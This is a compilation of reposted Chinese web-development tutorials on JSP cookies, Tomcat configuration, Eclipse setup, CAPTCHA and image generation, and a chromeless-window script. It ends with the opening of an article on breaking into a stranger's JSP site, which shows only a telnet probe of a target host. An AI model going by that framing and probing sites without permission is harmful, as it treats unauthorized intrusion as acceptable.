<HTML>

<HEAD>

<TITLE>自Cookie存取日期/时间数据</TITLE>

</HEAD>

<BODY>

<CENTER>

<FONT SIZE = 5 COLOR = blue>自Cookie存取日期/时间数据</FONT>

</CENTER>

<HR>

<P></P>

<%

Date Now = new Date(); //取得目前的系统时间

Cookie DateVal = new Cookie("DateVal", String.valueOf(Now.getTime()));

//欲将储存至Cookie时间/日期值转换为毫秒数

response.addCookie(DateVal); //将Cookie变数加入Cookie中

Cookie temp = null;

DateVal = null; //重设Cookie变数

Cookie[] cookies = request.getCookies();

//取得Cookie资料

int cookielen = cookies.length;

//取得Cookie变数阵列的长度

if(cookielen != 0) //判断是否成功取得Cookie资料

{

    for (int i = 0; i < cookielen; i++)

    {

        temp = cookies[i]; //取得cookies阵列中的Cookie变数

        if (temp.getName().equals("DateVal"))

        { //判断是否取得名为DateVal的Cookie资料

            %>

            Cookie中<Font color = blue>DateVal</Font>

            变量的值为<Font color = red>

            <%= new Date(Long.parseLong(temp.getValue())) %>

            </Font><BR>

            <%

        }

    }

}

else //若无法取得Cookie资料则执行下面的叙述

{

%>

无法取得Cookie<BR>

<%

}

%>

</BODY>

</HTML>


如果一个目录没有index.html类似的文件存在的化。输入这个目录名。所有的文件就会被tomcat列表显示出来。这样，安全性就很差。

在tomcat的conf目录下的web.xml文件中查找listings,然后将true改成false

以上是TOMCAT5.0的设置,4.0版本的也基本差不多,你自己看看好了.

代码内容
   <servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
        <init-param>
            <param-name>debug</param-name>
            <param-value>0</param-value>
        </init-param>
        <init-param>
            <param-name>listings</param-name>
            <param-value>false</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>


使用Eclipse开发Jsp-www.knowsky.com

Eclipse作为一个java应用的IDE，使用非常方便，但是对于Jsp的开发支持还显得不够，在这里向大家推荐一个eclipse的plugins来协助JSP开发。这个名称叫lomboz，不但支持JSP语法高亮显示，还有Code Assist功能，可以与Jbuilder媲美。下面简要介绍一下eclipse2.1结合Tomcat开发Jsp的过程。

开发环境

  1. 软件
名称 | 安装路径 | 下载网站
j2sdk1.4.1_02 | D:\j2sdk1.4.1_02 | http://java.sun.com
eclipse2.1 | D:\eclipse2.1 | http://www.eclipse.org/
Tomcat 4.0 | E:\Tomcat 4.0 | http://java.apache.org/
lomboz.21 | D:\eclipse2.1\plugins | http://www.objectlearn.com/
  2. 注意：
    • 如果你使用eclipse2.0，那么请你下载2.1，在2.0下我尝试很多次都没有配置好lomboz.。
    • 以上是我电脑的安装路径，方便大家对照后面的配置进行修改
  3. 配置软件

下载好各软件，依次安装JDK，Tomcat, eclipse2.1后, 首先保证你的tomcat和eclipse2.1能够独立运行。

把lomboz.21.zip解压缩后到把com.objectlearn.jdt.j2ee整个文件夹复制到eclipse2.1的plugins下。

配置eclipse2.1

1．启动eclipse2.1,进入菜单【window】--->【Preference】--->【Java】--->【Classpath variables】选择【New】建立name为JDK_TOOLS Path为你JDK的Tools.jar的路径.[如：D:/j2sdk1.4.1_02/lib/tools.jar]

同上，新建name为TOMCAT，path为Tomcat安装目录.[如：E:/Tomcat 4.0] 进入【window】--->【Customize Perspective】--->【Window>Show View】 选择Lomboz J2EE View 保存退出之后在你的eclipse2.1的工具栏中，如图位置，多一个按钮

2．进入【window】－【Preference】－【Java】－【new Project】，如图设置

配置lomboz.

启动eclipse2.1,菜单【window】－【Preference】选择【Lomboz】如下图

在【LomBoz】的【JDK Tools.jar】设定你的JDK中的tools.jar的完全路径(包括文件)[如：D:\j2sdk1.4.1_02\lib\tools.jar],对照修改即可。

选择【Server Definitions】如图

选择 【Server types】中选择 Apache Tomcat v4.0.1/4.0.2设定好你的Tomcat的目录，参照上图设定,如Application Server Directory 为E:/Tomcat 4.0，ClassPath Varible name 为上面设定的TOMCAT Classpath Varible 为E:/Tomcat 4.0 点【Apply】按钮，再查看【ClassPath】选项页，如果设置正确，那么应该是如下图所示,如果设置错误，Server Libraries会显示错误标记。

建立工程

操作过程：

菜单【new】－【Project】选择【Lomboz J2EE Wizards】－【Lomboz J2EE Project】，下一步输入你的工程名称，如图所示

下一步

选择【Web Modules】添加Module 如图所示

输入 Module名称 [如：test]

选择Targeted Servers ,选择配置好的【Apache Tomcat v 4.01/4.02】,添加后，完成，如图所示[界面可能跟个人的界面设置不同而有所不同]

点上面介绍的的那个hint为 Press to open a J2EE project Outliner的按钮，打开Lomboz J2EE View，如图所示,选择Run Server菜单,启动Tomcat，在你的浏览器输入 http://localhost:8080/test/index.jsp看看。显示的页面是index.jsp。

就这么简单，其实Lomboz不仅仅支持Jsp，还支持EJB的开发，部署和测试等其他J2EE应用。可以参照LOMBOZ Tutorials使用。

转自：动态网站制作指南 | www.knowsky.com


使用jsp生成彩色汉字验证码-www.knowsky.com

一些网站采用了字母和数字的验证码，数字和字母加起来一共30多个，如果有心，还是能够通过方法识别出来。
我在网上看到一篇文章"jsp彩色验证码"，我进行了加强，生成的验证码内容为汉字，可以方便应用在面向汉语网民的网站认证上。

当然，我还看到别人考虑的几种方法：
1.生成计算题，比如20+34*(23-12)=?，用户必须输入正确的答案才能通过验证，这个想法挺好，但是用户必须打开计算器进行计算，增加了用户的难度
2.问一些常见的问题，比如“人”这个字由几笔组成。这也是不错的想法，关键是必须有上万条的题库，而且题库的答案必须是明确的，简单易比较的，这个难度也较大。

下面是彩色汉字验证码的代码。

<%@ page contentType="image/jpeg" import="java.awt.*,java.awt.image.*,java.util.*,javax.imageio.*" %>
<%!
//create by smallnest
//email: smallnest@gmail.com
//website:www.kuaff.com

//生成随机颜色
Color getRandColor(Random random,int fc,int bc)
{
if(fc>255) fc=255;
if(bc>255) bc=255;
int r=fc+random.nextInt(bc-fc);
int g=fc+random.nextInt(bc-fc);
int b=fc+random.nextInt(bc-fc);
return new Color(r,g,b);
}
%>
<%
//设置页面不缓存
response.setHeader("Pragma","No-cache");
response.setHeader("Cache-Control","no-cache");
response.setDateHeader("Expires", 0);

// 设置图片的长宽
int width=176, height=30;
//设置备选汉字，剔除一些不雅的汉字
String base = "\u7684\u4e00\u4e86\u662f\u6211\u4e0d\u5728\u4eba\u4eec\u6709\u6765\u4ed6\u8fd9\u4e0a\u7740\u4e2a\u5730\u5230\u5927\u91cc\u8bf4\u5c31\u53bb\u5b50\u5f97\u4e5f\u548c\u90a3\u8981\u4e0b\u770b\u5929\u65f6\u8fc7\u51fa\u5c0f\u4e48\u8d77\u4f60\u90fd\u628a\u597d\u8fd8\u591a\u6ca1\u4e3a\u53c8\u53ef\u5bb6\u5b66\u53ea\u4ee5\u4e3b\u4f1a\u6837\u5e74\u60f3\u751f\u540c\u8001\u4e2d\u5341\u4ece\u81ea\u9762\u524d\u5934\u9053\u5b83\u540e\u7136\u8d70\u5f88\u50cf\u89c1\u4e24\u7528\u5979\u56fd\u52a8\u8fdb\u6210\u56de\u4ec0\u8fb9\u4f5c\u5bf9\u5f00\u800c\u5df1\u4e9b\u73b0\u5c71\u6c11\u5019\u7ecf\u53d1\u5de5\u5411\u4e8b\u547d\u7ed9\u957f\u6c34\u51e0\u4e49\u4e09\u58f0\u4e8e\u9ad8\u624b\u77e5\u7406\u773c\u5fd7\u70b9\u5fc3\u6218\u4e8c\u95ee\u4f46\u8eab\u65b9\u5b9e\u5403\u505a\u53eb\u5f53\u4f4f\u542c\u9769\u6253\u5462\u771f\u5168\u624d\u56db\u5df2\u6240\u654c\u4e4b\u6700\u5149\u4ea7\u60c5\u8def\u5206\u603b\u6761\u767d\u8bdd\u4e1c\u5e2d\u6b21\u4eb2\u5982\u88ab\u82b1\u53e3\u653e\u513f\u5e38\u6c14\u4e94\u7b2c\u4f7f\u5199\u519b\u5427\u6587\u8fd0\u518d\u679c\u600e\u5b9a\u8bb8\u5feb\u660e\u884c\u56e0\u522b\u98de\u5916\u6811\u7269\u6d3b\u90e8\u95e8\u65e0\u5f80\u8239\u671b\u65b0\u5e26\u961f\u5148\u529b\u5b8c\u5374\u7ad9\u4ee3\u5458\u673a\u66f4\u4e5d\u60a8\u6bcf\u98ce\u7ea7\u8ddf\u7b11\u554a\u5b69\u4e07\u5c11\u76f4\u610f\u591c\u6bd4\u9636\u8fde\u8f66\u91cd\u4fbf\u6597\u9a6c\u54ea\u5316\u592a\u6307\u53d8\u793e\u4f3c\u58eb\u8005\u5e72\u77f3\u6ee1\u65e5\u51b3\u767e\u539f\u62ff\u7fa4\u7a76\u5404\u516d\u672c\u601d\u89e3\u7acb\u6cb3\u6751\u516b\u96be\u65e9\u8bba\u5417\u6839\u5171\u8ba9\u76f8\u7814\u4eca\u5176\u4e66\u5750\u63a5\u5e94\u5173\u4fe1\u89c9\u6b65\u53cd\u5904\u8bb0\u5c06\u5343\u627e\u4e89\u9886\u6216\u5e08\u7ed3\u5757\u8dd1\u8c01\u8349\u8d8a\u5b57\u52a0\u811a\u7d27\u7231\u7b49\u4e60\u9635\u6015\u6708\u9752\u534a\u706b\u6cd5\u9898\u5efa\u8d76\u4f4d\u5531\u6d77\u4e03\u5973\u4efb\u4ef6\u611f\u51c6\u5f20\u56e2\u5c4b\u79bb\u8272\u8138\u7247\u79d1\u5012\u775b\u5229\u4e16\u521a\u4e14\u7531\u9001\u5207\u661f\u5bfc\u665a\u8868\u591f\u6574\u8ba4\u54cd\u96ea\u6d41\u672a\u573a\u8be5\u5e76\u5e95\u6df1\u523b\u5e73\u4f1f\u5fd9\u63d0\u786e\u8fd1\u4eae\u8f7b\u8bb2\u519c\u53e4\u9ed1\u544a\u754c\u62c9\u540d\u5440\u571f\u6e05\u9633\u7167\u529e\u53f2\u6539\u5386\u8f6c\u753b\u9020\u5634\u6b64\u6cbb\u5317\u5fc5\u670d\u96e8\u7a7f\u5185\u8bc6\u9a8c\u4f20\u4e1a\u83dc\u722c\u7761\u5174\u5f62\u91cf\u54b1\u89c2\u82e6\u4f53\u4f17\u901a\u51b2\u5408\u7834\u53cb\u5ea6\u672f\u996d\u516c\u65c1\u623f\u6781\u5357\u67aa\u8bfb\u6c99\u5c81\u7ebf\u91ce\u575a\u7a7a\u6536\u7b97\u81f3\u653f\u57ce\u52b3\u843d\u94b1\u7279\u56f4\u5f1f\u80dc\u6559\u70ed\u5c55\u5305\u6b4c\u7c7b\u6e10\u5f3a\u6570\u4e61\u547c\u6027\u97f3\u7b54\u54e5\u9645\u65e7\u795e\u5ea7\u7ae0\u5e2e\u5566\u53d7\u7cfb\u4ee4\u8df3\u975e\u4f55\u725b\u53d6\u5165\u5cb8\u6562\u6389\u5ffd\u79cd\u88c5\u9876\u6025\u6797\u505c\u606f\u53e5\u533a\u8863\u822c\u62a5\u53f6\u538b\u6162\u53d4\u80cc\u7ec6";
//备选汉字的长度
int length = base.length();

//创建内存图像
BufferedImage image = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB);
// 获取图形上下文
Graphics g = image.getGraphics();

//创建随机类的实例
Random random = new Random();

// 设定图像背景色(因为是做背景，所以偏淡)
g.setColor(getRandColor(random,200,250));
g.fillRect(0, 0, width, height);

//备选字体
String[] fontTypes = {"\u5b8b\u4f53","\u65b0\u5b8b\u4f53","\u9ed1\u4f53","\u6977\u4f53","\u96b6\u4e66"};
int fontTypesLength = fontTypes.length;

//在图片背景上增加噪点
g.setColor(getRandColor(random,160,200));
g.setFont(new Font("Times New Roman",Font.PLAIN,14));
for (int i=0;i<6;i++)
{
g.drawString("*********************************************",0,5*(i+2));
}

//取随机产生的认证码(6个汉字)

//保存生成的汉字字符串
String sRand="";
for (int i=0;i<6;i++)
{
int start = random.nextInt(length);
String rand=base.substring(start,start+1);
sRand+=rand;

//设置字体的颜色
g.setColor(getRandColor(random,10,150));
//设置字体
g.setFont(new Font(fontTypes[random.nextInt(fontTypesLength)],Font.BOLD,18 + random.nextInt(6)));
//将此汉字画到图片上
g.drawString(rand,24*i+ 10 + random.nextInt(8),24);
}

//将认证码存入session
session.setAttribute("rand",sRand);

g.dispose();

//输出图象到页面
ImageIO.write(image, "JPEG", response.getOutputStream());
%>

转自：动态网站制作指南 | www.knowsky.com


通过Jsp发送动态图像-www.knowsky.com

    你是否曾经想过从jsp页面(或者servlet)中发送动态产生的图像?这篇技巧告诉你如何做。要运行这里的代码，你需要一个Tomcat或者其他支持JSP 1.1的web服务器。

    当一个web页面带有image/jpeg (或者其他的图像格式)的MIME类型被发送时，你的浏览器将那个返回结果当作一个图像，然后浏览器显示图像，作为页面的一部分或者完全作为图像自身。要为你的jsp页面设置MIME类型，你需要设置页面的contentType属性：

    然后你需要创建一个BufferedImage绘制你的动态图像：
    BufferedImage image = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB);

    创建完一个BufferedImage后，你需要得到图形环境进行绘制，一个Graphics或者Graphics2D对象：

Graphics g = image.getGraphics();
// or
Graphics2d g2d = image.createGraphics();

    从现在起你就可以绘制图像内容了。对图形环境绘制就会画到BufferedImage。最开始这个图像都是黑色的，因此用你希望的背景颜色填充图像是一个不错的主意，然后，当你完成图像的绘制，你需要dispose图形环境：

g.dispose();
// or
g2d.dispose();

    一旦完成图像的绘制，你在response中返回那个图像。你可以使用非标准的com.sun.image.codec.jpeg包中的JPEGImageEncoder类编码图像，或者如果你使用JDK1.4，你可以使用标准的ImageIO类。在使用JPEGImageEncoder时有一个技巧，你必须从ServletResponse取来ServletOutputStream而不能使用隐含的JSP输出变量out。

ServletOutputStream sos = response.getOutputStream();
JPEGImageEncoder encoder = JPEGCodec.createJPEGEncoder(sos);
encoder.encode(image);
// or
ImageIO.write(image, "JPEG", out);

    这里有一个从所有的可能方案中(例如g.dispose()；或者g2d.dispose()；)选取的一个完整的范例.这个例子使用Graphics对象绘制一个随机的多边形，图像通过JPEGImageEncoder绘制，你可以自由设置多边形的顶点数得到更复杂的形状，换言之，有更多顶点和边。

    要运行这个范例，将从""之间的jsp代码放到一个名为image.jsp的文件中，将那个文件放到你的web服务器可以找到的地方，在使用Tomcat的情况下是ROOT目录，启动Tomcat，访问http://localhost:8080/image.jsp

    <%@ page contentType="image/jpeg"
    import="java.awt.*,java.awt.image.*,
    com.sun.image.codec.jpeg.*,java.util.*"
    %>
    <%
    // Create image
    int width=200, height=200;
    BufferedImage image = new BufferedImage(width,
    height, BufferedImage.TYPE_INT_RGB);
    // Get drawing context
    Graphics g = image.getGraphics();
    // Fill background
    g.setColor(Color.white);
    g.fillRect(0, 0, width, height);
    // Create random polygon
    Polygon poly = new Polygon();
    Random random = new Random();
    for (int i=0; i ＜ 5; i++) {
    poly.addPoint(random.nextInt(width),
    random.nextInt(height));
    }
    // Fill polygon
    g.setColor(Color.cyan);
    g.fillPolygon(poly);
    // Dispose context
    g.dispose();
    // Send back image
    ServletOutputStream sos = response.getOutputStream();
    JPEGImageEncoder encoder =
    JPEGCodec.createJPEGEncoder(sos);
    encoder.encode(image);
    %>

转自：动态网站制作指南 | www.knowsky.com


图解JSP环境安装配置

    此教程使用Apache+Resin来建造JSP环境，下图中为建立JSP环境所需要的文件，你只需要简单地按本教程的这6个步骤操作，就可以成功地建好一个JSP运行平台。

    说明：让我们先安装JSDK，双击运行其中的j2sdk-1_4_1_02-windows-i586.exe文件，界面如下图。

    假设安装目录为D:\jsdk，其他都使用默认。

    此为安装完成后的界面：

    安装完JSDK后，配置下面的内容：

    在系统变量中找到ClassPath并加入下面内容(如果你找不到ClassPath，则新建它)：

    D:\jsdk\LIB\dt.JAR;D:\jsdk\LIB\TOOLS.JAR;D:\jsdk\BIN;.;

    再在系统变量中找到Path并加入下面内容：

    D:\jsdk\;D:\jsdk\bin;

    （注： ClassPath最后的".;"表示当前目录，所以你不要以为我打多了一个点和分号。）

    如果你的jsdk安装路径与上面的不一样，则改成你的。配置完上面的内容，需要重启一下电脑才能生效。

    经过这一步骤，如果没配置错的话，你的电脑应该可以正确运行java程序了，现在就测试一下，在D盘根目录下新建一个文本文件，输入下面代码：

    public class hello{

    public static void main(String arg[]){

    System.out.print("Hi! JAVA!");

    }

    }

    此java文件的文件名叫hello.java，注意！一定要叫hello.java，而且区分大小写，不要问为什么，以后你会知道的，现在就按我说的做行了。接下来去到MS-DOS方式下的D盘根目录，输入下面指令：

    javac hello.java 回车

    如果正常的话，是没有任何内容显示的，但会在同一目录下编译成一个hello.class的文件，接下来再运行下面指令：

    java hello 回车

    如果正常的话，则会显示"Hi! JAVA!"的字符在屏幕上，这就代表你的java环境没有问题了，可以进行下一步的工作。

    打开Apache2\conf\httpd.conf文件，查找到下面的内容：

    # If your host doesn't have a registered DNS name, enter its IP address here.

    # You will have to access it by its address anyway, and this will make

    # redirections work in a sensible way.

    #

    ServerName 127.0.0.1:8080

    如果你需要改服务器/IP，则修改上面蓝色代码

    再查找下面内容：

    # DocumentRoot: The directory out of which you will serve your

    # documents. By default, all requests are taken from this directory, but

    # symbolic links and aliases may be used to point to other locations.

    #

    DocumentRoot "D:/apache2/htdocs"

    如果你想改变放置运行JSP文件的目录，请将上面蓝色的内容修改成： DocumentRoot "盘符:/路径"，注意，要使用"/"而不是"\"。

    再查找下面内容：

    #Listen 12.34.56.78:80

    Listen 8080

    如果你想修改Apache的监听端口，请修改这里。

    httpd.conf的配置就到这里完成了，如果你想进行更详细更深入的配置，请查看相关的文章。

    打开MS-DOS方式，去到D:\apache2\bin\目录下，输入下面命令将Apache安装成服务（安装成功后就可以在任务栏的Monitor里看到）：

    apache -k install 回车

    双击任务栏右下角的Apache Monitor，你会在左边看到一个"Apache2"（如下图），再按右边的Start按钮，启动Apache2！

    打开IE，在地址栏上输入：http://127.0.0.1:8080/，成功的话，你会看到下面激动人心的画面：

    至此，你已经成功安装了Apache，现在你只要把html文件放到apache2/htdocs/目录下，即可访问，例如该目录下有一个文件叫hello.htm，那么访问方式：http://127.0.0.1:8080/hello.htm


无边框窗口代码详解-www.knowsky.com

/*代码思路
此代码会以fullscreen方式打开一个空白窗口，然后用window.resize改变其大小。
最后在以写入onload="location.replace='url'"的办法将网址改变。
打开的窗口会是一个带有FRAME的窗口，其中窗口顶端会有一个高22的框架网页。
此网页是用来操纵窗口移动及关闭。
*/

/*说明
代码分两个部分，但总共牵涉到5个HTML文件及4个图像文件
第一部分是用来打开窗口，放在哪个文件都无所谓。
第二部分是用来控制窗口的移动及关闭，必须放在指定的文件里。
在此代码里，5个html文件分别为：
1.html; 代码第一部分所在
load.html; 所打开的窗口，是一个框架网页
chromelesstit.html；代码第2部分所在
contacting.html；用来显示如'PAGE LOADING.."等临时信息的网页
main.html；真正的主网页
4个图像分别为
x_a.gif; active
x_d.gif; mouseDown
x_o.gif; mouseOver
以上三个文件分别代表关闭窗口图标的不同状态
none.gif; 用来遮盖chromelesstit.html
*/

/*使用方法
如果你想让一个文件,如1.html,中的某一个连接打开一个指像main.html的无边框窗口。
把代码第一部分放到该文件中。
然后将连接
<a herf="main.html">
改为
<a herf="#" onclick="doOpen()">
在该文件所在目录内
1.建立
chromelesstit.html;
contacting.html;
load.html;
等三个文件，其HTML代码见本文所附。（不要做任何修改）
2.建立
一个名为images的目录（注意大小写，与有则不用），将
http//lain.oso.com.cn/x_a.gif;
http//lain.oso.com.cn/x_d.gif;
http//lain.oso.com.cn/x_o.gif;
http//lain.oso.com.cn/none.gif;
这4个文件拷入改目录.
对于初学者，以上则足够了。如果想要更好的效果，自己改代码。
*/
<!--//代码第一部分。
function doOpen(){
theurl="main.html";
wname ="name";
w=750;
h=400;
/* 参数说明：
theurl="main.html"; 打开窗口的网址
wname ="name"; 打开窗口的name属性
w=750; 打开窗口的宽度
h=400; 打开窗口的高度
*/
open(theurl, wname, w, h);
};
function open(theURL, wname, W, H) {
var windowW = W;//确定网页的宽度
var windowH = H;//确定网页的高度
var windowX = Math.ceil( (window.screen.width - windowW) / 2 );
var windowY = Math.ceil( (window.screen.height - windowH) / 2 );//确定网页的坐标

if (navigator.appName == "Microsoft Internet Explorer" && parseInt(navigator.appVersion)>=4) isie=true; else isie=false;
s = ",width="+W+",height="+H;
if (isie===false){//加入对Nescape系列浏览器的支持
splashWin = window.open( "main.html" , wname, "fullscreen=1,toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0"+s)
splashWin.resizeTo( Math.ceil( W ) , Math.ceil( H ) )
splashWin.moveTo ( Math.ceil( windowX ) , Math.ceil( windowY ) )
}else{
splashWin = window.open( "" , wname, "fullscreen=1,toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0"+s)
splashWin.resizeTo( Math.ceil( W ) , Math.ceil( H ) )
splashWin.moveTo ( Math.ceil( windowX ) , Math.ceil( windowY ) )
splashWin.document.open("text/html", "replace");
splashWin.document.write("<html><style type='text/css'>\n");
splashWin.document.write("body{border: 1px solid #000000; overflow: hidden; margin: 0pt;}");
splashWin.document.write("#stillloadingDiv {position: absolute; left: 0px; top: 0px; width: 100%px; height: 19px; z-index: 1; background-color: #C0C0C0; layer-background-color: #C0C0C0; clip:rect(0,100%,19,0);}");
splashWin.document.write("</style>\n");
splashWin.document.write("<body onload=\"top.document.location.replace('load.html")\" TOPMARGIN=0 LEFTMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0 scroll='no'>");
splashWin.document.write("<div id=stillloadingDiv><table width=100% height=22 cellspacing=0 cellpadding=0><tr><td align=left valign=middle width=100%><FONT size=1 face=verdana color=#000000>&nbsp;&nbsp;System energizing ...</font></td></tr></table></div>");
splashWin.document.write("</body></html>");
splashWin.document.close();
}
splashWin.focus();//代码第一部分完
}//-->

chromelesstit.html 文件代码

<html><head>
<meta http-equiv=Content-Type content=text/html;charset=windows-1252>
<style type=text/css>
#mywindowTITLE { position: absolute; left: 0px; top: 0px; width: 100%; height: 22px; z-index: 1; background-color: #ffffff; clip:rect(0,100%,22,0); }
#mywindow { position: absolute; left: 0px; top: 0px; width: 100%; height: 22px; z-index: 2; clip:rect(0,100%;22,0); }
#mywindowCLOSE { position: absolute; left: -22px; top: -22px; width: 11px; height: 11px; z-index: 3; clip:rect(0,11,11,0); }
</style>
<script language=javascript type=text/javascript>
// Chromeless window v1.1 (TITLE)
//////////////////////////////////////////////////////////////// Title bar control //////

var isinit = false;
var mywindowok = true;

theURL="main.html"
windowCERRARa = "images/x_a.gif"
windowCERRARd = "images/x_d.gif"
windowCERRARo = "images/x_o.gif"
windowTIT = "<font face=Arial size=1>Title</font>"
windowBORDERCOLOR = "#000000"
windowBORDERCOLORsel = "#FF8A00"
windowTITBGCOLOR = "#d7dcd9"
windowTITBGCOLORsel = "#ffffff"

var windowCERRARImg_a = new Image(); windowCERRARImg_a.src=windowCERRARa;
var windowCERRARImg_d = new Image(); windowCERRARImg_d.src=windowCERRARd;
var windowCERRARImg_o = new Image(); windowCERRARImg_o.src=windowCERRARo;

function whaitborders(){
if ( parent.chromewinb && parent.chromewinl && parent.chromewinr ){
parent.chromewinb.document.bgColor=windowBORDERCOLOR
parent.chromewinl.document.bgColor=windowBORDERCOLOR
parent.chromewinr.document.bgColor=windowBORDERCOLOR
}else{
setTimeout('whaitborders()', 100);
}
}
whaitborders()

//////////////////////////////////////////////////////////////// MOUSE MOVE //////

function mouseSTATUS(){
this.x = null;
this.y = null;
this.bt = "up";
this.oldx = null;
this.oldy = null;
this.dx = null;
this.dy = null;
this.screeny = null;
this.screenx = null;

this.element = null;
this.event = null;
}

var mouse = new mouseSTATUS();

function actualizateMouseSTATUS(e){
if (!e) var e = event
if ( (e.type=="mousedown" || e.type=="mouseup") && e.button!=1) return true

var x=e.x+document.body.scrollLeft
var y=e.y+document.body.scrollTop

mouse.x = x;
mouse.y = y;

if ( e.type == "mousedown" ) mouse.bt = "down";
else if ( e.type == "mouseup" ) mouse.bt = "up";

if (window.event){
mouse.screenx=window.event.screenX;
mouse.screeny=window.event.screenY;
}else{
mouse.screenx=-1;
mouse.screeny=-1;
}

}

function initMouseEvents(){
document.onmousedown = actualizateMouseSTATUS
document.onmousemove = actualizateMouseSTATUS
document.onmouseup = actualizateMouseSTATUS
document.onselectstart = selectstart
document.ondragstart = new Function("actualizateMouseSTATUS(event); return false;")
}

function selectstart(){
if ( event.srcElement.tagName != "INPUT" && event.srcElement.tagName != "TEXTAREA"){return false;}
else{mouse.bt="up"; return true;}
}

initMouseEvents()

//////////////////////////////////////////////////////////////// WINDOW DRAG //////

var mywindowbt ="up";
var wincloseSTATUS="up";

var ofx=0;
var ofy=0;
var opx=0;
var opy=0;
var px=0;
var py=0;

var wcpx1=-1, wcpy1=-1;
var wcpx2=-1, wcpy2=-1;

var wclosechanged = false;

function initToMoveWin(){
if (mywindowok){
if (wincloseSTATUS=="up" && ( mywindowbt=="up" || mywindowbt=="over") ){
if (isinit){
wcpx1 = document.all["mywindowCLOSE"].style.pixelLeft=document.body.clientWidth-18
wcpy1 = document.all["mywindowCLOSE"].style.pixelTop =4
wcpx2 = wcpx1 + 11 - 1
wcpy2 = wcpy1 + 11 - 1
if ( mouse.x >= wcpx1 && mouse.x <= wcpx2 && mouse.y >= wcpy1 && mouse.y <= wcpy2){
if (wclosechanged == false){
document.all["mywindowCLOSE"].document.images["closewin"].src=windowCERRARImg_o.src
wclosechanged = true
}

}else if (wclosechanged == true){
document.all["mywindowCLOSE"].document.images["closewin"].src=windowCERRARImg_d.src
wclosechanged = false
}
}
}

if ( mouse.y <= 22 && mouse.y >= 1 && mywindowbt == "up" && mouse.bt =="up" ){mywindowbt = "over"}
else if ( ( mouse.y > 22 || mouse.y < 1 ) && mywindowbt == "over" && mouse.bt =="up" ){mywindowbt = "up"}
else if ( mouse.y <= 22 && mouse.y >= 1 && mywindowbt == "over" && mouse.bt == "down" ){
self.window.focus();

if ( mouse.x >= wcpx1 && mouse.x <= wcpx2 && mouse.y >= wcpy1 && mouse.y <= wcpy2 ){
wincloseSTATUS="down"
document.all["mywindowCLOSE"].document.images["closewin"].src=windowCERRARImg_a.src
}else{
document.all["mywindowTITLE"].style.backgroundColor = windowTITBGCOLORsel
document.body.style.borderColor = windowBORDERCOLORsel
parent.chromewinb.document.bgColor=windowBORDERCOLORsel
parent.chromewinl.document.bgColor=windowBORDERCOLORsel
parent.chromewinr.document.bgColor=windowBORDERCOLORsel
ofx = mouse.x;
ofy = mouse.y;
opx = mouse.x;
opy = mouse.y;
}
mywindowbt="down";
}
else if ( mouse.bt =="up" && mywindowbt == "down" ){
mywindowbt="up";
ofx=0;
ofy=0;
opx=0;
opy=0;

if ( mouse.x >= wcpx1 && mouse.x <= wcpx2 && mouse.y >= wcpy1 && mouse.y <= wcpy2 && wincloseSTATUS=="down" ){top.window.close()}

wincloseSTATUS="up"

if ( document.all["mywindowTITLE"] ){
document.all["mywindowTITLE"].style.backgroundColor = windowTITBGCOLOR
document.body.style.borderColor = windowBORDERCOLOR
parent.chromewinb.document.bgColor=windowBORDERCOLOR
parent.chromewinl.document.bgColor=windowBORDERCOLOR
parent.chromewinr.document.bgColor=windowBORDERCOLOR
}

}
else if ( mywindowbt == "down" && wincloseSTATUS == "up"){
var m_scrx = mouse.screenx;
var m_scry = mouse.screeny;
opx = px + ofx - m_scrx;
opy = py + ofy - m_scry;
px = m_scrx - ofx;
py = m_scry - ofy;
top.window.moveTo(px , py);
}
}
setTimeout('initToMoveWin()',20);
}
initToMoveWin()

//////////////////////////////////////////////////////////////// WRITE TITLE //////

function init(){
document.all["mywindowTITLE"].innerHTML='<table width=100% height=20 border=0 cellpadding=0 cellspacing=0><tr><td valign=middle align=left>'+windowTIT+'</td></tr></table>'
document.all["mywindowTITLE"].style.backgroundColor = windowTITBGCOLOR
document.all["mywindowCLOSE"].document.images["closewin"].src=windowCERRARImg_d.src

setTimeout('parent.main.location.replace("'+theURL+'")',200)

isinit=true
}

</script></head>
<body onload=init() TOPMARGIN=0 LEFTMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0 scroll=no style="border:1px solid #000000;overflow:hidden;margin:0pt;" bgcolor=#ffffff>
<div id=mywindow>
<img src=images/none.gif width=100% height=20>
</div>
<div id=mywindowTITLE>
<img width=1 height=1>
</div>
<div id=mywindowCLOSE>
<img name=closewin src=images/none.gif border=0 width=11 height=11>
</div>
</body>
</html>

contacting.html 文件代码

<html>
<head>
<style type='text/css'>
body { border: 0px; overflow: hidden; margin: 0pt;}
#stillloadingDiv { position: absolute; left: 0px; top: 0px; width: 100%; height: 19px; z-index: 1; background-color: #C0C0C0; layer-background-color: #C0C0C0; clip:rect(0,100%,19,0);}
</style>
</head>
<body TOPMARGIN=0 LEFTMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0 scroll='no'>
<div id=stillloadingDiv><table width=100% height=22 cellspacing=0 cellpadding=0><tr><td align=left valign=middle width=100%><FONT size=1 face=verdana color=#000000>&nbsp;&nbsp;loading, please wait. . .</font></td></tr></table></div>
</body>
</html>

laod.html 文件代码

<HTML>
<HEAD>
<TITLE>OF KAI</TITLE>
</HEAD>
<frameset border=0 framespacing=0 frameborder=0 rows="22,100%,1">
<frame name=chromewint src="chromelesstit.html" scrolling=no noresize>
<frameset border=0 framespacing=0 frameborder=0 cols="1,100%,1">
<frame name=chromewinl src="about:blank" scrolling=no noresize>
<frame name=main src="contacting.html" scrolling="no" noresize>
<frame name=chromewinr src="about:blank" scrolling=no noresize>
</frameset>
<frame name=chromewinb src="about:blank" scrolling=no noresize>
<noframes>
</noframes>
</frameset>
<frameset>
</frameset>
</HTML>

【本文版权归作者与奥索网共同拥有，如需转载，请注明作者及出处】

转自：动态网站制作指南 | www.knowsky.com


现场纪实—如何入侵基于JSP的网站-www.knowsky.com

    很偶然的一个机会，浏览到一个网站，页面清新让人感觉很舒服。网站是用JSP开发的，出于个人爱好，我决定测试一下其系统的安全性。

telnet http://www.target.com/ 8080
